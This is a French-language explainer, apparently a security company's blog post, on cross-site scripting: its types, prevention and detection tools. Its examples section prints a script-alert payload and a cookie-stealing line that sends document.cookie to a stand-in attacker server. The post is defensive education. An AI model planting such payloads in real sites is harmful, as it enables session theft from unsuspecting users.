Les portails Internet présentent de nombreuses vulnérabilités. Ce n’est donc pas un hasard si le travail des professionnels de la cybersécurité se multiplie. Tout comme les menaces potentielles. L’une des plus insidieuses porte le nom de cross site scripting ou attaque XSS : il s’agit d’une action malveillante qui attaque les sites web dynamiques via un formulaire non protégé par des systèmes de sécurité. L’attaque XSS figure dans le Top 10 de l’OWASP (Open Web App Security Project), qui répertorie les menaces les plus dangereuses du web aux côtés de noms tels que Injection et XML External Entities (XEE).
Pour avoir une idée de ce que signifie faire face à des attaques XSS, rappelons que tout repose sur l’insertion d’une chaîne de code dans les champs où l’utilisateur peut écrire librement. Plus précisément, il s’agit de scripts malveillants qui peuvent intervenir de différentes manières et causer des dommages importants.
D’autre part, lorsque nous insérons un formulaire de contact ou à toute autre fin sur un site web, nous imaginons difficilement que nous ouvrons la porte à des personnes mal intentionnées. Or, c’est précisément le risque de subir une attaque grave via des scripts XSS. Vous souhaitez faire face à cette menace et fermer les ressources utiles au cross site scripting ?
Qu’est-ce que le cross-site scripting, définition
Voici l’explication que tout responsable de la sécurité des systèmes d’information pourra vous donner : la menace de cross-site scripting (également connue sous le nom de XSS) est une vulnérabilité XSS des applications web qui permet à un cybercriminel d’injecter du code malveillant côté client. Donc, sur une page web, grâce à la présence d’un formulaire accessible à tous. Comme, par exemple, les zones dédiées aux commentaires, les champs de recherche interne ou d’inscription.
Ce type d’attaque permet aux personnes malveillantes de nuire aux administrateurs du site web et aux utilisateurs qui le consultent sans se douter de rien. Par exemple, grâce à un script XSS fonctionnant via Javascript, les cybercriminels peuvent collecter des données de session et les utiliser à des fins malveillantes. Ou encore, les black hat hackers peuvent effectuer des opérations non autorisées et ont la possibilité de modifier le contenu même de la page web.
Quels sont les types de vulnérabilités XSS ?
Comme vous pouvez facilement le deviner, tout comme il existe différents types de logiciels malveillants et de phishing, il existe également différents types de codes d’attaque XSS. Quelles sont les principales options dont disposent les cybercriminels ?
Reflected XSS (non persistant)
Le code malveillant, souvent appelé payload XSS, est envoyé à chaque utilisateur via une demande par e-mail ou par message contenant un lien. Une fois cliqué, l’attaque renvoie immédiatement vers le serveur. Le XSS non persistant n’a pas de nature persistante car il doit être envoyé à l’aide de techniques d’ingénierie sociale similaires au phishing pour être activé. Tout comme lorsque nous devons prévenir les ransomwares, pour faire face au reflected cross site scripting, il est essentiel de ne pas cliquer sur des liens que nous ne pouvons pas vérifier.
Les Self XSS sont un type d’attaque qui nécessite toujours la collaboration de l’utilisateur, mais sous une forme spécifique : coller du code malveillant dans la console du navigateur. Cela permet de causer des dommages.
Stored XSS (persistant)
Considéré par tous comme la variante la plus dangereuse et surtout la plus nuisible en raison de sa nature continue. Le code malveillant des attaques XSS persistantes, également connues sous le nom de « cross site scripting stocké », est stocké de manière permanente sur le serveur (par exemple dans une base de données).
Il peut ainsi attaquer et affecter tous les utilisateurs qui accèdent à la page infectée et causer des dommages pendant une durée indéterminée. Le XSS persistant se produit généralement via des champs ouverts au public, tels que des commentaires ou des formulaires électroniques, en insérant une charge utile XSS dans les pages qui reçoivent le plus de trafic des utilisateurs afin d’amplifier les dommages causés par le cross site scripting stored.
DOM-based XSS
L’attaque XSS DOM est particulièrement complexe à détecter en raison de sa nature, qui la rend difficile à repérer par les pare-feu d’applications web (WAF) et les journaux du serveur. En effet, l’attaque XSS DOM s’active via le Document Object Model (DOM, représentation structurée d’un document web) du navigateur.
Elle empêche ainsi le code malveillant de passer par le serveur. Ce type d’attaque consiste à manipuler les URL et leurs hachages, et ne peut être détecté qu’à l’aide d’une analyse approfondie du DOM.
Exemples d’attaques de type cross site scripting
Nous avons identifié les types d’attaques XSS, essayons maintenant de mettre en évidence des cas concrets avec des exemples de cross site scripting afin de clarifier le processus de détection d’un code malveillant. Ou du moins de décrire les procédures, le Zero Day Exploit qu’ils utilisent pour mener à bien l’attaque.
Prenons un premier exemple d’attaque XSS persistante. Un black hat hacker insère ce script dans le champ des commentaires d’un blog : <script>alert(“Cliquez sur ce lien”);</script>. L’objectif est d’inciter le site web qui n’effectue pas une validation correcte de l’entrée à renvoyer un code spécifique :
<div id="comment"> <h2>Commentaires :</h2> <p><strong>Utilisateur :</strong> <script>alert(“Cliquez sur ce lien”);</script></p>
</div>Cela permet d’afficher, côté utilisateur, une zone avec un lien malveillant sur toutes les sections du site web où la présence d’un commentaire est prévue. Ainsi, par exemple, vous pouvez injecter un lien de phishing à l’insu du propriétaire. Un autre exemple d’attaque XSS consiste à voler les données des cookies à l’aide d’un script toujours dans les champs de commentaires :
<script>fetch(“https://nome-server-attaccante.it/?cookie=” + document.cookie);</script>
Dans ce cas également, s’il n’y a pas de contrôle des commentaires et de règles de sécurité du site web, la voie est libre pour les personnes malveillantes. Bien entendu, les exemples d’attaques XSS doivent être considérés comme de simples références pour comprendre le fonctionnement de ce mécanisme.
Vulnérabilités liées aux attaques XSS
Le monde des menaces pour les sites web est infini, et de nombreux problèmes peuvent affecter votre portail. Par exemple, il n’y a pas que le cross site scripting, mais aussi différentes vulnérabilités liées aux attaques, comme l’UXSS qui exploite les failles des navigateurs ou des composants tels que les plugins ou les extensions. Le cross site scripting universel contourne les politiques de sécurité du navigateur pour compromettre les sessions web des utilisateurs.
Les attaques CSRF (cross site request forgery) exploitent l’authentification implicite de l’utilisateur auprès d’une application pour envoyer des requêtes non autorisées sans son consentement. Quel est le lien avec les attaques XSS ? Cette solution peut être exploitée pour amplifier l’action négative du CSRF en activant le code JavaScript qui envoie des requêtes malveillantes.
Comment prévenir le cross site scripting ?
Comme souvent dans ce genre de situation, la première chose à faire pour éviter que des attaques XSS compromettent vos données et celles de l’entreprise pour laquelle vous travaillez est d’être prudent. Il faut donc sensibiliser tout le monde aux messages ou liens suspects qui pourraient ouvrir la porte à des personnes mal intentionnées.
Il est nécessaire de mettre en place une politique de sécurité du contenu (CSP) afin de prévenir les cyberattaques et de limiter l’exécution de scripts non autorisés et/ou dangereux. Une bonne désinfection des entrées est nécessaire pour supprimer ou filtrer les codes suspects, mais aussi pour neutraliser les caractères dangereux. C’est pourquoi il est important de faire appel à une entreprise spécialisée pour mettre en place une stratégie de protection d’un portail institutionnel.
Outils de détection des XSS
Il n’est pas facile de détecter les failles d’un site web, et même les professionnels de la cybersécurité utilisent des outils et des scanners pour identifier les failles en termes d’attaques XSS. Bien sûr, cela ne suffit pas pour résoudre le problème, mais c’est par là qu’il faut commencer :
- OWASP ZAP (Zed Attack Proxy) – OWASP ZAP scan est un outil gratuit et open source pour tester les applications web. Il s’agit d’un proxy qui se place entre le navigateur et l’application web. Cela permet d’intercepter et de modifier tout le trafic, d’effectuer des scans automatiques pour détecter les failles de sécurité et d’effectuer des tests de pénétration.
- Acunetix – Votre scanner de sécurité pour applications web et API préféré, surtout si vous avez besoin d’un outil puissant. Il s’agit en effet d’un outil utilisé par les professionnels de la sécurité informatique pour identifier les injections SQL, les scripts intersites (XSS) et les inclusions de fichiers à l’aide d’analyses du site web, en simulant des attaques afin d’identifier les faiblesses à traiter avec les meilleures pratiques en matière de sécurité informatique.
- Burp suite – Un outil indispensable (surtout si vous utilisez la suite Burp pro) pour les professionnels de la sécurité informatique qui souhaitent tester le comportement des applications dans différents scénarios. Même les plus hostiles. Très répandu également parmi les hackers éthiques et les white hats pour effectuer des tests de pénétration. Il est ainsi possible de planifier des attaques par force brute et detester la robustesse d’un portail contenant des données sensibles de clients et d’utilisateurs.
- Portswigger – Une structure complète pour tester les applications web. Parmi ses différentes fonctionnalités, vous trouverez un scanner automatisé des menaces et des outils adaptés à la création de tests pour mettre à l’épreuve la sécurité des sites web. Disponible en versions community (gratuite), professional et enterprise.
- XSS Scanner – Application web permettant d’effectuer des vérifications, même en version gratuite. Ce scanner XSS en ligne permet d’identifier les principales vulnérabilités particulièrement risquées en un minimum de temps. Il utilise pour cela un moteur de scan propriétaire, même s’il utilisait auparavant OWASP ZAP.
La capacité à répondre à une cyberattaque (incident response) passe par une analyse approfondie d’un portail. Et, surtout dans les cas où il est nécessaire de demander des données sensibles, la prudence exige des investigations spécifiques. Comme celles qu’une entreprise spécialisée dans la cybersécurité peut effectuer.